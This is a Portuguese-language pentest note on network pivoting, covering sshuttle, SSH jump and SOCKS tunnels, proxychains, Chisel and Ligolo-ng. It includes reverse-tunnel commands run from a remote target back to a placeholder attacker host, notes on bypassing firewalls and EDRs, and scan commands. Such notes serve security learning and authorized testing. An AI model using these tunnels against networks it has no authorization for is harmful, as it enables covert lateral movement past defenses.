## SSHuttle O `sshuttle` cria uma [[VPN]] transparente (com [[iptables]] e tunelamento via SSH), **roteando todo o tráfego da sua máquina local para a rede remota**, como se você estivesse conectado diretamente nela. Isso significa: **qualquer ferramenta de rede (como o [[Nmap]])** vai funcionar normalmente, sem precisar de [[proxychains]], [[socks]], nem configurações extras. ```shell sshuttle -r [email protected] 192.168.1.0/24 ``` Depois só realizar a varredura normalmente: ``` nmap -sS -p22,80,445 192.168.1.0/24 ``` ## ProxyJump com SSH O `ProxyJump` (ou `-J` no SSH) é um recurso do OpenSSH que permite **fazer um "jump" (salto) por uma máquina intermediária** para acessar um alvo final. Isso é muito útil em ambientes com "bastion hosts", onde só uma máquina tem acesso direto à rede interna. Suponha: - Sua máquina local 🧍‍♂️ - A máquina pivô (jump host): `[email protected]` - A máquina alvo na rede interna: `[email protected]` ```shell # Versão curta: ssh -J [email protected] [email protected] # Versão Longa: ssh -o [email protected] [email protected] ``` ## Dynamic Tunnel no SSH Um **túnel dinâmico** via SSH é um tipo de redirecionamento de porta que transforma seu SSH em um **proxy SOCKS5**. Isso permite que você envie tráfego de rede (web, Nmap, etc.) por dentro da conexão SSH, de forma dinâmica, ou seja, para **vários destinos**, não apenas um fixo. ```shell ssh -D 9050 -f -N [email protected] ``` OBS: A opção `-f` coloca o SSH **em background após autenticação**, liberando seu terminal e `-N` informa ao SSH para **não executar nenhum comando remoto**, ou seja, **apenas estabelece o túnel**. #### Como usar esse túnel? Você pode configurar o **proxychains** ou o navegador para usar esse proxy: 1. Edite o arquivo `/etc/proxychains.conf`: ```shell # Comente outros socks para evitar problemas socks5 127.0.0.1 9050 ``` 2. Rode qualquer ferramenta: ```shell # Rode o comando proxychains. proxychains firefox proxychains curl http://10.0.0.5 proxychains nmap -sT -Pn -p80 10.0.0.5 ``` ## Chisel O **[[Chisel]]** é uma ferramenta escrita em Go que cria túneis TCP/UDP através de uma conexão [[WebSocket]]. É tipo um **"[[Ngrok]] hardcore para pivoting"**. Serve pra: - Criar túnel **reverso** de porta (port forwarding reverso). - Criar um **SOCKS5 server** na máquina alvo. - Fazer pivoting com ferramentas como **proxychains, Nmap, Metasploit, etc.** Na sua maquina local: ```shell chisel server -p 8000 --reverse ``` Na sua maquina remota: ```shell chisel client YOUR_IP:8000 R:socks ``` ## Ligolo-ng [[Ligolo-ng]] é uma ferramenta moderna para **pivoting e tunneling reverso**, muito usada por Red Teams. Ela permite **criar um túnel reverso seguro e transparente**, com suporte completo a: - Proxy SOCKS5 - Redirecionamento de portas - Integração com `proxychains`, `nmap`, [[Metasploit]], [[RDP]], `browser`, etc. - **Funciona via TLS**, o que ajuda a **bypassar firewalls e EDRs**. Na sua maquina ```markdown ./ligolo-proxy -selfcert ``` Na sua maquina remota: ```markdown ./agent -connect attacker_server:11601 -ignore-cert ``` Para visualizar as conexões abertas: ``` session 1 ``` Para visualizar todas as conexões: ``` ifconfig ``` Para adicionar uma rota default: ``` sudo ip route add <Internal_Network> dev ligolo ```